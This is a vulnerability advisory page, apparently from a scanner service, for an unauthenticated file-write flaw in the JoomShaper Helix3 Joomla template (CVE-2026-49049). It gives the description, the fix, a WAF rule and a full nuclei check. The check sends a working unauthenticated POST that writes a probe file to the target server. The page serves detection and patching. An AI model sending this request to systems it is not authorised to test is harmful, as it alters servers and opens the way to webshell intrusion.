JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write

highseverity

7.5CVSS score

1%likelihood of exploitation, next 30 days

63%of all CVEs are less likely

Readycheck to confirm it

JoomShaper Helix3 template framework versions 1.0 through 3.1.0 for Joomla expose an unauthenticated AJAX handler (plg_ajax_helix3) accessible via the Joomla com_ajax component. The onAjaxHelix3() plugin method processes data[action]=save requests without any authentication check or CSRF token validation. Unauthenticated remote attackers can write arbitrary JSON content to server-side files. The layoutName parameter contains no path traversal validation, enabling write to any directory writable by the web server process. Actively exploited in the wild by the AntonKill botnet campaign.

Impact

Unauthenticated attackers can write arbitrary JSON content to server files, enabling template configuration manipulation, stored XSS via template parameters, and remote code execution via path traversal to place webshells or malicious configuration files in any web-accessible directory writable by the web server.

Fix

Update JoomShaper Helix3 to version 3.1.1 or later, which adds proper authorization checks to the plg_ajax_helix3 AJAX handler. If the Helix3 template is unused, disable and remove the plg_ajax_helix3 system plugin via the Joomla administrator panel. As a WAF mitigation, block POST requests to index.php where the query string contains both option=com_ajax and plugin=helix3.

How to confirm it

Send: GET /
Positive when: contains "helix3"
Send: POST /index.php?option=com_ajax&plugin=helix3&format=json
Positive when: contains "\"success\":true" or "fwrite()" AND status 200

Run it with nuclei: nuclei -id CVE-2026-49049 -u <target>

The full check

id: CVE-2026-49049

info:
  name: JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write
  author: DhiyaneshDk,pdteam
  severity: high
  description: |
    JoomShaper Helix3 template framework versions 1.0 through 3.1.0 for Joomla expose an unauthenticated AJAX handler (plg_ajax_helix3) accessible via the Joomla com_ajax component. The onAjaxHelix3() plugin method processes data[action]=save requests without any authentication check or CSRF token validation. Unauthenticated remote attackers can write arbitrary JSON content to server-side files. The layoutName parameter contains no path traversal validation, enabling write to any directory writable by the web server process. Actively exploited in the wild by the AntonKill botnet campaign.
  impact: |
    Unauthenticated attackers can write arbitrary JSON content to server files, enabling template configuration manipulation, stored XSS via template parameters, and remote code execution via path traversal to place webshells or malicious configuration files in any web-accessible directory writable by the web server.
  remediation: |
    Update JoomShaper Helix3 to version 3.1.1 or later, which adds proper authorization checks to the plg_ajax_helix3 AJAX handler. If the Helix3 template is unused, disable and remove the plg_ajax_helix3 system plugin via the Joomla administrator panel. As a WAF mitigation, block POST requests to index.php where the query string contains both option=com_ajax and plugin=helix3.
  reference:
    - https://github.com/Dr-D25/CVE-2026-49049
    - https://kevintel.com/CVE-2026-49049
    - https://www.joomshaper.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-49049
    cwe-id: CWE-284
    epss-score: 0.00992
    epss-percentile: 0.62853
  metadata:
    verified: true
    max-request: 2
    vendor: ollyo
    product: helix3
    framework: joomla
    fofa-query: body="shaper_helix3"
    shodan-query: html:"shaper_helix3"
  tags: cve,cve2026,joomla,helix3,unauth,filewrite,missing-authorization,intrusive,vkev

variables:
  probe_file: "nuclei_{{rand_text_alpha(6)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

    matchers:
      - type: word
        part: body
        words:
          - "helix3"
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /index.php?option=com_ajax&plugin=helix3&format=json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: application/json, text/javascript, */*

        data[action]=save&data[layoutName]={{probe_file}}&data[content]={"_nuclei_probe":"cve-2026-49049"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - 'fwrite()'
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from